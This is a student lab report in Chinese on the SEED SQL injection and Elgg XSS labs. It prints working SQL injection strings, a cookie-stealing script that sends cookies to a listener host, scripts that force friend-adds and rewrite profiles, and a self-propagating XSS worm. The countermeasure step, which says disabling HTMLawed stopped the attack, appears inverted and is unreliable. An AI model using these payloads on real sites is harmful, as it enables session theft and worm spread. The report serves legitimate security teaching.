20212916 2021-2022-2《網路攻防實踐》實踐十
1.實驗內容
實踐內容
一、SEED SQL注入攻擊與防禦實驗
我們已經建立了一個Web應用程式,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:
熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。
對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。
對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。
SQL對抗:修復上述SQL注入攻擊漏洞。
二、SEED XSS跨站指令碼攻擊實驗(Elgg)
為了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。
釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。
彈窗顯示cookie資訊:將cookie資訊顯示。
竊取受害者的cookies:將cookie傳送給攻擊者。
成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。
修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
編寫XSS蠕蟲。
對抗XSS攻擊。
2.實驗步驟
2.1 sql注入實驗
本次實驗在Ubuntu下進行
首先使用命令登入mysql :mysql -u root -p 此次登陸需要密碼,密碼為seedubuntu 輸入正確密碼後顯示如下的介面
通過命令:show databases;檢視mysql中的資料,顯示檢視到的資料如下圖所示。
使用命令:use Users; 選擇Users這張表
根據上一個命令結果的提示 輸入命令:use Users; 選擇Users這張表,具體顯示如下圖所示。
接著輸入命令:show tables;檢視這張表
下面選擇這張表中的資料:select * from credential;
輸入命令:select * from credential where Name='Alice'; 查詢ALICE的所有資訊
輸入命令vim /var/www/SQLInjection/unsafe_home.php檢視原始碼,直接將密碼和名字加入到了字串當中,所有如果寫Admin' #,#代表註釋,所以會只能查詢到ID查不到密碼。注意輸入此命令需要重新開啟一個終端,因為者不是在mysql下的命令了。否則不會出來結果。
開啟瀏覽器,輸入網址會彈出一個登陸介面,在使用者名稱介面中輸入admin' #,
直接點選登陸之後發現Admin的salary
先輸入:cd /var/www/SQLInjection/然後輸入命令:
vim unsafe_edit_backend.php發現在UPDATE中直接填入了nickname所以只需要在網頁端輸入', Salary='987' where name='Admin'; #,就會將名字後部分作為註釋
重新輸入網址sqlinjection.com/unsafe_edit_frontend.php 進入以下的登陸介面,然後再使用者名稱中輸入字串Salary='987' where name='Admin'; #
點選執行發現Admin的Salary變為了987。
2.2 XSS實驗
輸入圖示的網址進入登陸頁面,賬號為Alice,密碼為seedalice
進入之後點選編輯介面,再beief description輸入
<script>alert("XSS");</script>
點選儲存後彈出視窗,證明XSS攻擊成功
2.3 檢視cookie資訊
還是進入編輯介面,再進入之後點選編輯介面,再beief description一欄中輸入<script>alert(document.cookie);</script>
點選儲存後彈出如下介面
開啟監聽檢視返回的值
再次到編輯介面的beief description介面輸入命令返回cookie,命令為<script>document.write('<img src=http://192.168.1.187:5555?c='+escape(document.cookie) + ' >');</script>,
注意這裡的IP地址是Ubuntu的IP地址
點選儲存,檢視終端之後就可以看見監聽的資料了
2.4 點選主頁新增好友
開啟火狐瀏覽器,新增HTTP HEADER 網址為:
回到之前介面,開啟header,搜尋好友
新增好友,檢視攔截到的資訊
儲存檔案後開啟,可以看見第一個是朋友的ID 第二個是時間,第三個是身份認證
寫下一串程式碼:
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
將程式碼貼上到Alice的about me中
我們再次回到主頁,沒有發現任何的問題
接下來我們刪除boby的好友,然後將賬戶切換到boby,同時也刪除好友並重新整理
先開啟header,然後訪問Alice的首頁
之後再header介面發現一個數據包,說明僅僅是訪問了alice的主頁就向Alice傳送了一個新增好友的請求,也就是說,惡意程式碼被執行了
這時我們發現剛剛刪除的好友又被加了回來
2.5修改對方的about me
首先再Alice介面的about me介面隨便輸入字元並儲存,然後檢視header的監聽內容。需要post來發送一個請求。
接下來根據這些資訊來寫程式碼進行攻擊。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
再Alice 賬戶內輸入程式碼並儲存
然後我們退出當前登陸並登陸boby的賬號並訪問Alice的首頁資訊。發現當前頁面發出的一個請求。
然後開啟boby的個人主頁,發現其about me的頁面已經被修改了。說明攻擊成功了。
2.6 通過蠕蟲傳播攻擊
登陸Alice的賬號,刪除上次的攻擊內容,依舊在about me一欄中輸入已經編寫好的攻擊程式碼。
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
點選儲存後彈出如下的介面,再點選ok即可。
退出當前賬號,然後登陸boby的賬號。發現boby的about me是完全空白的。
將header的內容先清空,然後訪問Alice的首頁
彈出如下介面
發現程式碼已經被修改了進來
開啟之後發現我們將discreaption設定為了下圖的一串,也就是說程式碼已經進行了傳播。
接下來換一個登陸賬號,並讓此賬號訪問boby的主頁,看看是否攻擊被傳播了。這裡發現即使是訪問boby的主頁,攻擊依舊成功了。
2.7XXS對抗
登陸admin賬號,密碼為seedelg
選擇plugins,點選HTMLawed,使它不可用
接下來我們登陸Alice,發現其about me中內容顯示出來了,攻擊失效了。
3.實驗問題
問題一:修改about me之後攻擊一直不成功
解決:是自己大意一直沒有儲存。
問題二:蠕蟲實驗的時候也是不成功,發現自己的about me修改的時候選擇的模式不正確。
4.思考:
本次實驗我瞭解了更加掩人耳目的攻擊,僅僅是訪問別人的主頁就可以被攻擊,確實很恐怖,這也讓我明白以後不能隨隨便便新增陌生人為好友,也不能隨隨便便訪問他人主頁。